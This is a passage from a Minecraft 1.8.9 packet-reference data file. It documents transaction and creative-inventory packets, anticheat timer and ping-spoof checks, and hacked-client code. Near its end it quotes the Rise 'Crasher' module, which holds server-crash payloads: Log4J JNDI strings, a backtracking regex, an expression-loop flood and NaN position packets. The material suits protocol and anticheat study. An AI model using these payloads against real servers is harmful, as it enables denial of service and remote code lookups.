packetIn) {\n        PacketThreadUtil.checkThreadAndEnqueue((Packet)packetIn, (INetHandler)this, this.gameController);\n        Container container = null;\n        EntityPlayerSP entityplayer = Minecraft.getMinecraft().thePlayer;\n        if (packetIn.getWindowId() == 0) {\n            container = entityplayer.inventoryContainer;\n        } else if (packetIn.getWindowId() == entityplayer.openContainer.windowId) {\n            container = entityplayer.openContainer;\n        }\n        if (container != null && !packetIn.func_148888_e()) {\n            Minecraft.getMinecraft().getNetHandler().addToSendQueue(new C0FPacketConfirmTransaction(packetIn.getWindowId(), packetIn.getActionNumber(), true));\n        }\n    }\n}\n// NOTE (AI): The full mixin: the @Overwrite of handleConfirmTransaction re-emits the C0F echo for window 0 or the open container when the server did not accept, the handleJoinGame injection forces MC|Brand, and the addToSendQueue injection raises PacketSenEvent so every send is visible to modules.",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetHandlerPlayClient.java",
      "vanilla_hook": "handleConfirmTransaction overwrite (S32PacketConfirmTransaction in), addToSendQueue injection (PacketSenEvent out).",
      "anti_cheat_notes": "This is infrastructure, not an exploit: it guarantees transaction continuity so the disabler and ping-spoof entries above can park C0F without desyncing the inventory. The echo goes through addToSendQueue, so LiquidSense's PacketEvent sees it like any other send.",
      "variations": "The @Overwrite approach differs from the eight classic clients, which leave the vanilla echo untouched and only hook the send event."
     }
    ],
    "general_hooks": "PacketSendEvent (cancel/mutate C0F), PacketReceiveEvent (S32 trigger), motion/tick events for release timing; Rise 6.x uses component-based parking (PingSpoofComponent, TransactionFixComponent).",
    "client_variations": "Classic clients cancel or mutate the live packet in the event (Memeware, Sigma, Spicy, Tenacity). Rise 5.99 uses PacketUtil.sendPacketWithoutEvent to replay forged C0F. Rise 6.x routes through PacketUtil.send/sendNoEvent and its PingSpoofComponent/TimedPacket queue; TransactionFixComponent (6.2.4/6.1.30) repairs transaction state under ViaVersion. November Recode 2.0 cancels or mutates C0F on EventPacket.Out (VelocityModule GRIM and VULCAN, DisablerModule BLOCKS_MC uid rewrite). LiquidSense Dev parks C0F in queues on PacketEvent and flushes through NetworkManager.sendPacket or addToSendQueue, forges sentinels in onEnable, and its MixinNetHandlerPlayClient overwrite re-emits the vanilla echo through the modified send path.",
    "related": [
     "S32PacketConfirmTransaction",
     "C00PacketKeepAlive",
     "C0EPacketClickWindow"
    ],
    "anticheat": {
     "overview": "The transaction confirmation packet is the client's acknowledgement of a server transaction, and it gives anticheats a clean client-to-server round trip that is independent of the keepalive channel. That makes it the timing primitive for the timer and pingspoof check domains: Grim's Timer anchors the movement clock to the first confirmation after each movement, Frequency PingSpoofA compares the transaction ping against the keepalive ping, and classic timers (Azure, Negativity) use the same packet stream to discipline the movement rate.",
     "checks": [
      {
       "name": "Timer (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Ping-anchored timer check: the movement clock must never run ahead of the transaction round trip.",
       "how_it_works": "A PrePredictionPacketReceiveListener. When a movement has been seen and the next WINDOW_CONFIRMATION (or PONG) arrives, it updates the known player clock from the movement clock. Each tick packet adds 50 ms to a real-time balance; when the balance overtakes System.nanoTime() the client is running faster than real time, the check flags, cancels the packet, and executes a setback. A clock-drift floor keeps the balance from falling behind the player's ping.",
       "detects": "Timer cheats from about 1.01x upward, including clients that fake movement rate while keeping the transaction channel honest.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/timer/Timer.java =====\npackage ac.grim.grimac.checks.impl.timer;\n\nimport ac.grim.grimac.api.config.ConfigManager;\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.CheckData;\nimport ac.grim.grimac.checks.type.PrePredictionPacketReceiveListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketTypeCommon;\nimport org.jetbrains.annotations.NotNull;\n\n@CheckData(name = \"Timer\", stableKey = \"grim.timer.timer\", configName = \"TimerA\", description = \"The players game is running faster than normal\", setback = 10)\npublic class Timer extends Check implements PrePredictionPacketReceiveListener {\n    protected long timerBalanceRealTime = 0;\n\n    // Default value is real time minus max keep-alive time\n    protected long knownPlayerClockTime = (long) (System.nanoTime() - 6e10);\n    protected long lastMovementPlayerClock = (long) (System.nanoTime() - 6e10);\n\n    // How long should the player be able to fall back behind their ping? (nanos)\n    // Default: 120 milliseconds\n    protected long clockDrift;\n\n    protected boolean hasGottenMovementAfterTransaction = false;\n\n    // Proof for this timer check\n    // https://i.imgur.com/Hk2Wb6c.png\n    //\n    // The largest gap will always be the transaction ping (server -> client -> server)\n    // Proof lies that client -> server ping will always be lower\n    //\n    // The largest gap is the floor for movements\n    // If the smaller gap surpasses the larger gap, the player is cheating\n    //\n    // This usually flags 1.01 on low ping extremely quickly\n    // Higher ping/low fps scales proportionately, and will flag less quickly but will still always flag 1.01\n    // Players standing still will reset this amount of time\n    //\n    // This is better than traditional timer checks because ping fluctuations will never affect this check\n    // As we are tying this check to the player's ping, rather than real time.\n    //\n    // Tested 10/20/30 fps and f3 + t spamming for lag spikes at 0 ping localhost/200 ping clumsy, no falses\n    // Also didn't false when going from 0 -> 2000 ms ping, and 2000 ms -> 0 ms ping\n    // it's a very nice check, in my opinion.  I guess I will find out if netty lag can false it\n\n    // You might notice that we deviate a bit from this to handle lag\n    // We take the FIRST transaction after each movement, to avoid issues with this packet order at low FPS:\n    // TRANSACTION TRANSACTION TRANSACTION MOVEMENT MOVEMENT MOVEMENT\n    // TRANSACTION TRANSACTION TRANSACTION MOVEMENT MOVEMENT MOVEMENT\n    //\n    // We then take the last transaction before this to increase stability with these lag spikes and\n    // to guarantee that we are at least 50 ms back before adding the time\n    public Timer(GrimPlayer player) {\n        super(player);\n    }\n\n    @Override\n    public void onPrePredictionPacketReceive(final PacketReceiveEvent event) {\n        if (hasGottenMovementAfterTransaction && checkForTransaction(event.getPacketType())) {\n            knownPlayerClockTime = lastMovementPlayerClock;\n            lastMovementPlayerClock = player.getPlayerClockAtLeast();\n            hasGottenMovementAfterTransaction = false;\n        }\n\n        if (!shouldCountPacketForTimer(event.getPacketType())) return;\n\n        hasGottenMovementAfterTransaction = true;\n        timerBalanceRealTime += 50e6;\n\n        doCheck(event);\n    }\n\n    public void doCheck(final PacketReceiveEvent event) {\n        if (timerBalanceRealTime > System.nanoTime()) {\n            if (flag()) {\n                // Cancel the packet\n                if (shouldModifyPackets()) {\n                    event.setCancelled(true);\n                    player.onPacketCancel();\n                }\n\n                if (shouldSetback()) {\n                    player.getSetbackTeleportUtil().executeNonSimulatingSetback();\n                }\n            }\n\n            // Reset the violation by 1 movement\n            timerBalanceRealTime -= 50e6;\n        }\n\n        limitFallBehind();\n    }\n\n    protected void limitFallBehind() {\n        timerBalanceRealTime = Math.max(timerBalanceRealTime, lastMovementPlayerClock - clockDrift);\n    }\n\n    public boolean checkForTransaction(PacketTypeCommon packetType) {\n        return packetType == PacketType.Play.Client.PONG ||\n                packetType == PacketType.Play.Client.WINDOW_CONFIRMATION;\n    }\n\n    public boolean shouldCountPacketForTimer(PacketTypeCommon packetType) {\n        // If not flying, or this was a teleport, or this was a duplicate 1.17 mojang stupidity packet\n        return isTickPacket(packetType);\n    }\n\n    @Override\n    public void onReload(@NotNull ConfigManager config) {\n        clockDrift = (long) (config.getDoubleElse(getConfigName() + \".drift\", 120.0) * 1e6);\n    }\n}\n// NOTE (AI): Grim's Timer is anchored to the transaction ping: it takes the first WINDOW_CONFIRMATION after each movement and compares the movement clock against it, so ping fluctuation cannot false the check. The largest gap is the transaction round trip; when the movement gap exceeds it, the game is running faster than normal.\n",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/timer/Timer.java",
       "variations": "Grim's TickTimer, NegativeTimer and TimerLimit cover sub-1.0 and multi-account cases on the same transaction anchor; the comment block documents the transaction-gap proof behind the check."
      },
      {
       "name": "PingSpoofA (Frequency)",
       "found_in": [
        "ElevatedDev-Frequency",
        "MinecraftUserHAN1110-FrequencyPlus"
       ],
       "purpose": "Transaction-vs-keepalive ping comparison: a pingspoofer inflates the transaction ping, not the keepalive ping.",
       "how_it_works": "On each flying packet it reads the transaction ping (measured from the transaction packets) and the keepalive ping. If the player has been online for more than 10 ticks and is not exempt (lagging, teleporting, TPS, chunk), a transaction ping that exceeds the keepalive ping by more than 50 ms fails the check.",
       "detects": "Ping spoofers that hold transaction responses to fake a high ping for timer/velocity bypasses.",
       "detailed_code": "// ===== FILE: ElevatedDev-Frequency, src/main/java/xyz/elevated/frequency/check/impl/pingspoof/PingSpoofA.java =====\npackage xyz.elevated.frequency.check.impl.pingspoof;\n\nimport xyz.elevated.frequency.check.CheckData;\nimport xyz.elevated.frequency.check.type.PacketCheck;\nimport xyz.elevated.frequency.data.PlayerData;\nimport xyz.elevated.frequency.exempt.type.ExemptType;\nimport xyz.elevated.frequency.wrapper.impl.client.WrappedPlayInFlying;\n\n@CheckData(name = \"PingSpoof (A)\")\npublic final class PingSpoofA extends PacketCheck {\n\n    public PingSpoofA(final PlayerData playerData) {\n        super(playerData);\n    }\n\n    @Override\n    public void process(final Object object) {\n        if (object instanceof WrappedPlayInFlying) {\n            final long transactionPing = playerData.getTransactionPing().get();\n            final long keepAlivePing = playerData.getKeepAlivePing().get();\n\n            final boolean joined = playerData.getTicks().get() - playerData.getJoined().get() < 10;\n            final boolean exempt = this.isExempt(ExemptType.LAGGING, ExemptType.TELEPORTING, ExemptType.TPS, ExemptType.CHUNK);\n\n            if (!exempt && !joined && transactionPing > keepAlivePing && Math.abs(transactionPing - keepAlivePing) > 50) fail();\n        }\n    }\n}\n// NOTE (AI): Frequency PingSpoofA compares the transaction ping with the keepalive ping: when the transaction round trip exceeds the keepalive round trip by more than 50 ms, the client is holding transaction responses to fake a higher ping.\n",
       "code_source": "ElevatedDev-Frequency, src/main/java/xyz/elevated/frequency/check/impl/pingspoof/PingSpoofA.java",
       "variations": "PingSpoofB in the same package and azure's PingSpoof check use the same two-channel comparison; Hydro's PingSpoof and Negativity's PingSpoofProtocol port it to their own ping trackers."
      },
      {
       "name": "Timer (Azure)",
       "found_in": [
        "AimbotPvP-azure-anticheat"
       ],
       "purpose": "Classic 1.8 flying-delay timer: the interval between movement packets must stay near 50 ms.",
       "how_it_works": "On every PacketPlayInFlying it measures the delay from the previous packet. Intervals below 47 ms accumulate a threshold and compute the timer speed as 50 divided by the actual delay; after 7 consecutive fast intervals it raises a violation with the speed percentage. Intervals above 70 ms decay the threshold by 3, and a teleport resets it to -10.",
       "detects": "Timer cheats that send movement packets faster than 20 per second, including timer variants in the 1.0-1.5x range.",
       "detailed_code": "// ===== FILE: AimbotPvP-azure-anticheat, src/main/java/us/skidrevenant/azure/check/checks/misc/timer/Timer.java =====\npackage us.skidrevenant.azure.check.checks.misc.timer;\n\nimport net.minecraft.server.v1_8_R3.Packet;\nimport net.minecraft.server.v1_8_R3.PacketPlayInFlying;\nimport net.minecraft.server.v1_8_R3.PacketPlayOutPosition;\nimport us.skidrevenant.azure.check.Check;\nimport us.skidrevenant.azure.stats.PlayerStats;\n\n/**\n * @author SkidRevenant\n * at 28/05/2018\n */\npublic class Timer extends Check {\n\n    private long lastFlying;\n    private int threshold;\n\n    public Timer(PlayerStats player) {\n        super(player);\n    }\n\n    @Override\n    public void onPacketReceiving(Class<? extends Packet> type, Packet packet) {\n        if (packet instanceof PacketPlayInFlying) {\n            long now = System.currentTimeMillis();\n\n            if (lastFlying + 47L > now) {\n                double timerSpeed = 50.0 / (now - lastFlying);\n\n                if (++threshold > 7) {\n                    onViolation(String.format(\"Timer Type A (%d%s, %dL)\", Math.min(Math.round(timerSpeed * 100), 5000), \"%\", (now - lastFlying)), 60000L, 3);\n                }\n\n            } else if (lastFlying + 70L < now) {\n                threshold -= 3;\n            } else if (threshold > 0) {\n                threshold--;\n            }\n\n            lastFlying = now;\n        }\n    }\n\n    @Override\n    public void onPacketSend(Class<? extends Packet> type, Packet packet) {\n        if (type == PacketPlayOutPosition.class) {\n            threshold = -10;\n        }\n    }\n}\n// NOTE (AI): Azure Timer is the classic 1.8 flying-delay timer: it measures the interval between flying packets, computes a timer speed of 50 divided by the actual delay, and flags after 7 consecutive sub-47 ms intervals. The sibling TimerB check and the PingSpoof check cover the transaction-based side.\n",
       "code_source": "AimbotPvP-azure-anticheat, src/main/java/us/skidrevenant/azure/check/checks/misc/timer/Timer.java",
       "variations": "TimerB in the same package adds a second timing axis; Frequency TimerA runs the deviation-and-allowance variant of the same idea on the flying stream."
      },
      {
       "name": "TimerProtocol (Negativity)",
       "found_in": [
        "Elikill58-Negativity"
       ],
       "purpose": "Packet-budget timer: the number of movement packets per second must not exceed the server tick rate.",
       "how_it_works": "On each packet-clear cycle it counts flying, position, look and position-look packets into a rolling per-second list, keeping the last 5 seconds. The mean and median of the counts are compared against the tick budget (20, or 40 in creative, plus a configured variation). An overflow of both mean and median alerts with a confidence derived from the player ping.",
       "detects": "Timer cheats that exceed the movement packet budget per second, and packet-spam variants that inflate the movement stream.",
       "detailed_code": "// ===== FILE: Elikill58-Negativity, src/com/elikill58/negativity/spigot/protocols/TimerProtocol.java =====\npackage com.elikill58.negativity.spigot.protocols;\n\nimport java.util.ArrayList;\nimport java.util.Comparator;\nimport java.util.HashMap;\nimport java.util.List;\n\nimport org.bukkit.GameMode;\nimport org.bukkit.Material;\nimport org.bukkit.entity.Player;\nimport org.bukkit.event.EventHandler;\nimport org.bukkit.event.Listener;\n\nimport com.elikill58.negativity.spigot.SpigotNegativity;\nimport com.elikill58.negativity.spigot.SpigotNegativityPlayer;\nimport com.elikill58.negativity.spigot.listeners.PlayerPacketsClearEvent;\nimport com.elikill58.negativity.universal.Cheat;\nimport com.elikill58.negativity.universal.CheatKeys;\nimport com.elikill58.negativity.universal.PacketType;\nimport com.elikill58.negativity.universal.ReportType;\nimport com.elikill58.negativity.universal.adapter.Adapter;\nimport com.elikill58.negativity.universal.utils.UniversalUtils;\n\npublic class TimerProtocol extends Cheat implements Listener {\n\n\tpublic TimerProtocol() {\n\t\tsuper(CheatKeys.TIMER, true, Material.PACKED_ICE, CheatCategory.MOVEMENT, true);\n\t}\n\t\n\t@EventHandler\n\tpublic void onPacketClear(PlayerPacketsClearEvent e) {\n\t\tSpigotNegativityPlayer np = e.getNegativityPlayer();\n\t\tif(!np.hasDetectionActive(this))\n\t\t\treturn;\n\t\tHashMap<PacketType, Integer> packets = e.getPackets();\n\t\tint flying = packets.getOrDefault(PacketType.Client.FLYING, 0);\n\t\tint position = packets.getOrDefault(PacketType.Client.POSITION, 0);\n\t\tint look = packets.getOrDefault(PacketType.Client.LOOK, 0);\n\t\tint positonLook = packets.getOrDefault(PacketType.Client.POSITION_LOOK, 0);\n\t\tint count = flying + look + position + positonLook;\n\t\tnp.TIMER_COUNT.add(count);\n\t\t\n\t\tif(np.TIMER_COUNT.size() > 5) // now we can remove first value (5 secs later)\n\t\t\tnp.TIMER_COUNT.remove((int) 0);\n\t\telse // loading seconds\n\t\t\treturn;\n\t\tdouble sum = np.TIMER_COUNT.stream().mapToInt(Integer::intValue).sum() / np.TIMER_COUNT.size();\n\t\tPlayer p = e.getPlayer();\n\t\tint max = (p.getGameMode().equals(GameMode.CREATIVE) ? 40 : 20) + Adapter.getAdapter().getConfig().getInt(\"cheats.timer.max_variation\");\n\t\tif(max > sum)// in min/max variations\n\t\t\treturn;\n\t\tList<Integer> medianList = new ArrayList<>(np.TIMER_COUNT);\n\t\tmedianList.sort(Comparator.naturalOrder());\n\t\tint middle = medianList.size() / 2;\n\t\tint medianValue = (medianList.size() % 2 == 1) ? medianList.get(middle) : (int) ((medianList.get(middle-1) + medianList.get(middle)) / 2.0);\n\t\tif(max > medianValue || medianValue == 0) // prevent false flag\n\t\t\treturn;\n\t\tint amount = (int) (sum - max);\n\t\tSpigotNegativity.alertMod(ReportType.WARNING, p, this, UniversalUtils.parseInPorcent(100 - (np.ping / 100)),\n\t\t\t\t\"Flying: \" + flying + \", position: \" + position + \", look: \" + look + \", positionLook: \" + positonLook + \", sum: \" + sum + \", median: \" + medianValue + \" > \" + max,\n\t\t\t\t(CheatHover) null, amount > 0 ? amount : 1);\n\t}\n}\n// NOTE (AI): Negativity's TimerProtocol counts movement packets per second over a rolling window and compares the mean and median against the server tick rate (20, or 40 in creative with the configured variation); a sustained overflow of the packet budget is a timer flag.\n",
       "code_source": "Elikill58-Negativity, src/com/elikill58/negativity/spigot/protocols/TimerProtocol.java",
       "variations": "CheaterDeleter's TimerCheck and PacketCountModuleManager enforce the same per-second budget on the Fabric packet stream; NCP's FlyingFrequency check is the classic ancestor."
      }
     ]
    }
   },
   "wiki_notes": [
    "PLAY 0x0F: byte windowId plus short action number plus accepted as a byte-boolean echo of S32.",
    "Vanilla only re-enables crafting on a matching window and uid; missing or wrong echoes cause no kick.",
    "Window 0 inventory traffic is frequent, so its timing doubles as a latency and timer reference.",
    "MCP 1.8.9 C0FPacketConfirmTransaction implements Packet<INetHandlerPlayServer> dispatching to INetHandlerPlayServer.processConfirmTransaction; wire serde is readPacketData/writePacketData via readByte, readShort.",
    "1.8.9 callers: NetHandlerPlayClient.handleConfirmTransaction sends new C0FPacketConfirmTransaction (line 1191): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/client/network/NetHandlerPlayClient.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/C0FPacketConfirmTransaction/",
   "mcp_path": "net/minecraft/network/play/client/C0FPacketConfirmTransaction.java",
   "group": "play-server",
   "logic_classes": [
    "NetHandlerPlayClient"
   ]
  },
  {
   "id": "C10PacketCreativeInventoryAction",
   "hex": "0x10",
   "dec": 16,
   "dir": "SERVERBOUND",
   "state": "PLAY",
   "name": "Creative Inventory Action",
   "desc": "Player sets the contents of a slot in creative mode. Used to spawn items or modify inventory contents directly.",
   "tags": [
    "player",
    "inventory",
    "creative",
    "item"
   ],
   "fields": [
    {
     "name": "slotId",
     "type": "short",
     "desc": "Slot index (-1 for cursor, 0-44 for inventory, 100-104 for armor)"
    },
    {
     "name": "stack",
     "type": "ItemStack",
     "desc": "ItemStack to place (null = clear slot)"
    }
   ],
   "encoding": [
    [
     "Slot",
     "short",
     "-1=cursor, 0-44=inv, 100-104=armor"
    ],
    [
     "Clicked Item",
     "Slot",
     "ItemStack or null"
    ]
   ],
   "mcp": [
    "NetHandlerPlayServer.processCreativeInventoryAction()"
   ],
   "handler": "INetHandlerPlayServer",
   "notes": "Only processed by the server if the player is in creative mode (gamemode=1). Ignored silently in survival. Can set ANY slot including armor (100-104) and offhand slots. No known hacked client modules directly target this packet. It's used by vanilla creative mode mechanics. Gugustus has a CreativeGive command that constructs C10 via addToSendQueue.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "C10 is the creative-mode inventory writer: a short slot id plus an ItemStack. Slot -1 addresses the cursor stack, slots 1 through 44 the survival inventory grid. The server only enters the handler when the player's gamemode is creative, and inside it applies its own bounds check: flag1 is true only for slots 1 to 44 inclusive, so slot 0, armor slots and the cursor path all fall through to a different branch. In vanilla it is emitted by PlayerControllerMP whenever the creative inventory GUI places or drops an item."
     },
     {
      "h": "Vanilla handling",
      "p": "processCreativeInventoryAction first, and before any slot validation, inspects the incoming stack's NBT: if it carries a BlockEntityTag with x/y/z keys, the server reads the tile entity at that position and rewrites the tag from the live tile entity NBT. Only then does it validate: flag1 (slot bounds), flag2 (item id non-null), flag3 (metadata >= 0, stackSize 1..64). Valid inventory slots go through putStackInSlot; the cursor branch (slotId < 0) drops the item as an EntityItem with creative despawn age and increments itemDropThreshold by 20, capped at 200. Everything is skipped entirely for non-creative players."
     },
     {
      "h": "Why clients touch it",
      "p": "None of the original 8 clients ships an inventory-scripting or ItemSpoof module that drives C10 directly; LiquidSense Dev's InventoryUtils.updateInventory does: it re-sends the full 44-slot main inventory as creative actions to force the server's copy back in sync. The remaining corpus hits are infrastructure. Rise 5.99 Crasher uses it in Window mode to inject a book with a deeply nested JSON page into slot 0. Rise 5.99 Freecam allow-lists C10 so creative actions keep working with a detached camera, and Tenacity 6.0's PacketUtil.isClientPacket whitelists it for the silent send helpers. That is the entire module surface."
     },
     {
      "h": "Exploit surface",
      "p": "The handler's ordering is the interesting part: BlockEntityTag processing runs before slot bounds, so a crafted stack forces a tile entity lookup even when the slot is invalid. Slot 0 and the cursor branch bypass putStackInSlot entirely, which means a creative client can push arbitrary NBT-bearing items at the server without them landing in inventory. Anti-cheats with creative checks (NCP's inventory heuristics, custom gamemode guards) flag C10 sent while the server-side gamemode is not creative; the packet is a silent no-op there, so the main abuse channel is the NBT payload itself."
     }
    ],
    "overview": "The creative-only inventory writer. No ItemSpoof-style module exists in the original 8 clients; LiquidSense Dev's InventoryUtils re-sends the whole inventory through C10, and elsewhere C10 appears as a crash payload carrier (Rise 5.99 Crasher Window mode), a freecam whitelist entry, and a silent-send whitelist entry in Tenacity.",
    "server_handling": "processCreativeInventoryAction: gamemode gate, BlockEntityTag sync, then flag1/flag2/flag3 validation. Slots 1..44 go through putStackInSlot, slot -1 drops the item as a creative-despawn EntityItem (itemDropThreshold +20 per drop, max 200), everything else is ignored. ItemStacks are not re-serialized against an item registry beyond getItem() != null, so crafted NBT survives to any plugin that reads the slot.",
    "protocol_notes": "short slotId (signed) + Slot-encoded ItemStack (short item id, byte count, short damage, optional NBT). Sent in PLAY state only. The client never sends it in survival: PlayerControllerMP.windowClick paths to C0EPacketClickWindow instead, so a survival server receiving C10 is already anomalous.",
    "anticheat_landscape": "Anti-cheats that mirror the server gamemode flag C10 from a survival player as an inventory exploit attempt. Creative-gamemode servers rarely monitor it, which is exactly why crash payloads ride this packet: the handler still parses and processes NBT before the gamemode logic can matter to plugins.",
    "modules": [
     {
      "name": "Crasher (Window)",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Inject a writable book carrying a deeply nested JSON page into slot 0 via C10 to crash servers whose chat/JSON parser chokes on the recursion.",
      "how_it_works": "On PreMotionEvent, Window mode builds an NBTTagList whose single string is ~830 stacked {extra:[{...}} tokens, attaches it to a writable book, and sends C10 with slot 0. Runs every tick while enabled.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/other/Crasher.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.other;\n\nimport dev.rise.event.impl.motion.PreMotionEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.setting.impl.ModeSetting;\nimport dev.rise.setting.impl.NumberSetting;\nimport dev.rise.util.player.PacketUtil;\nimport dev.rise.util.player.PlayerUtil;\nimport io.netty.buffer.Unpooled;\nimport net.minecraft.init.Blocks;\nimport net.minecraft.init.Items;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.nbt.NBTTagCompound;\nimport net.minecraft.nbt.NBTTagList;\nimport net.minecraft.nbt.NBTTagString;\nimport net.minecraft.network.PacketBuffer;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.ChatComponentText;\nimport net.minecraft.util.EnumFacing;\nimport net.minecraft.util.IChatComponent;\nimport org.apache.commons.lang3.RandomStringUtils;\nimport org.apache.commons.lang3.RandomUtils;\n\n@ModuleInfo(name = \"Crasher\", description = \"Crashes some servers\", category = Category.OTHER)\npublic final class Crasher extends Module {\n\n    private final ModeSetting mode = new ModeSetting(\"Mode\", this, \"Pex\", \"Pex\", \"Multiverse\", \"FAWE\", \"Log4J\", \"Invalid Move\", \"Rotation\", \"Sign\", \"Book\", \"Chunk\", \"NaN\", \"Fly\", \"Click\", \"Block Click\", \"Window\", \"BEdit\", \"Mare\", \"Interact\", \"One Packet\", \"AAC5\");\n    private final NumberSetting packets = new NumberSetting(\"Packets\", this, 10, 1, 100, 1);\n\n    @Override\n    public void onUpdateAlwaysInGui() {\n        packets.hidden = !(mode.is(\"Mare\") || mode.is(\"Interact\"));\n    }\n\n    @Override\n    public void onPreMotion(final PreMotionEvent event) {\n        if (mc.isIntegratedServerRunning() || PlayerUtil.isOnServer(\"127.0.0.1\") || PlayerUtil.isOnServer(\"localhost\"))\n            return;\n\n        if (mc.thePlayer.ticksExisted < 5) {\n            this.toggleModule();\n            this.registerNotification(\"Disabled \" + this.getModuleInfo().name() + \" due to world change.\");\n            return;\n        }\n\n        switch (mode.getMode()) {\n            case \"Pex\": {\n                if (mc.thePlayer.ticksExisted % 20 == 0) {\n                    mc.thePlayer.sendChatMessage(\"/pex promote a a\");\n                    mc.thePlayer.sendChatMessage(\"/pex promote b b\");\n                }\n                break;\n            }\n\n            case \"Multiverse\": {\n                if (mc.thePlayer.ticksExisted % 20 == 0)\n                    mc.thePlayer.sendChatMessage(\"/mv ^(.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.++)$^\");\n                break;\n            }\n\n            case \"FAWE\": {\n                PacketUtil.sendPacketWithoutEvent(new C14PacketTabComplete(\"/to for(i=0;i<256;i++){for(j=0;j<256;j++){for(k=0;k<256;k++){for(l=0;l<256;l++){ln(pi)}}}}\"));\n                break;\n            }\n\n            case \"Log4J\": {\n                mc.thePlayer.sendChatMessage(\"/ ${jndi:rmi://localhost:3000}\");\n\n                this.toggleModule();\n                this.registerNotification(\"Attempted to crash the server.\");\n                break;\n            }\n\n            case \"Invalid Move\": {\n                PacketUtil.sendPacket(new C03PacketPlayer.C06PacketPlayerPosLook(Double.MAX_VALUE, Double.MAX_VALUE, Double.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE, event.isGround()));\n                break;\n            }\n\n            case \"Rotation\": {\n                PacketUtil.sendPacket(new C03PacketPlayer.C05PacketPlayerLook(9.223372E18F, 9.223372E18F, event.isGround()));\n                break;\n            }\n\n            case \"Sign\": {\n                final IChatComponent[] text = new IChatComponent[]{new ChatComponentText(\"${jndi:rmi://localhost:3000}\")};\n                PacketUtil.sendPacket(new C12PacketUpdateSign(BlockPos.ORIGIN, text));\n                break;\n            }\n\n            case \"Book\": {\n                final NBTTagCompound comp = new NBTTagCompound();\n                final NBTTagList list = new NBTTagList();\n\n                list.appendTag(new NBTTagString(\"${jndi:rmi://localhost:3000}\"));\n\n                comp.setString(\"author\", \"${jndi:rmi://localhost:3000}\");\n                comp.setString(\"title\", \"${jndi:rmi://localhost:3000}\");\n                comp.setByte(\"resolved\", (byte) 1);\n                comp.setTag(\"pages\", list);\n                final ItemStack stack = new ItemStack(Items.writable_book);\n                stack.setTagCompound(comp);\n                final PacketBuffer buffer = new PacketBuffer(Unpooled.buffer());\n                buffer.writeItemStackToBuffer(stack);\n                PacketUtil.sendPacket(new C0EPacketClickWindow(0, 0, 0, 1, stack, (short) 0));\n                break;\n            }\n\n            case \"Chunk\": {\n                double x = mc.thePlayer.posX, y = mc.thePlayer.posY, z = mc.thePlayer.posZ;\n\n                for (int i = 0; i < 32000; i++)\n                    PacketUtil.sendPacket(new C03PacketPlayer.C04PacketPlayerPosition(x++, y >= 255 ? 255 : y++, z++, true));\n                break;\n            }\n\n            case \"NaN\": {\n                PacketUtil.sendPacket(new C03PacketPlayer.C06PacketPlayerPosLook(Double.NaN, Double.NaN, Double.NaN, Float.NaN, Float.NaN, event.isGround()));\n                break;\n            }\n\n            case \"Fly\": {\n                double y = 0, z;\n                int i;\n\n                for (i = 0; i < 200; i++) {\n                    y = i * 9;\n                    PacketUtil.sendPacket(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + y, mc.thePlayer.posZ, false));\n                }\n\n                for (i = 0; i < 10000; i++) {\n                    z = i * 9;\n                    PacketUtil.sendPacket(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + y, mc.thePlayer.posZ + z, false));\n                }\n                break;\n            }\n\n            case \"Block Click\": {\n                PacketUtil.sendPacket(new C0EPacketClickWindow(0, 0, 0, 1, new ItemStack(Blocks.piston_head), (short) 0));\n                break;\n            }\n\n            case \"Click\": {\n                for (int c = 0; c < 30; c++) {\n                    final NBTTagCompound comp = new NBTTagCompound();\n                    final NBTTagList list = new NBTTagList();\n\n                    for (int i = 0; i < 2; i++) {\n                        list.appendTag(new 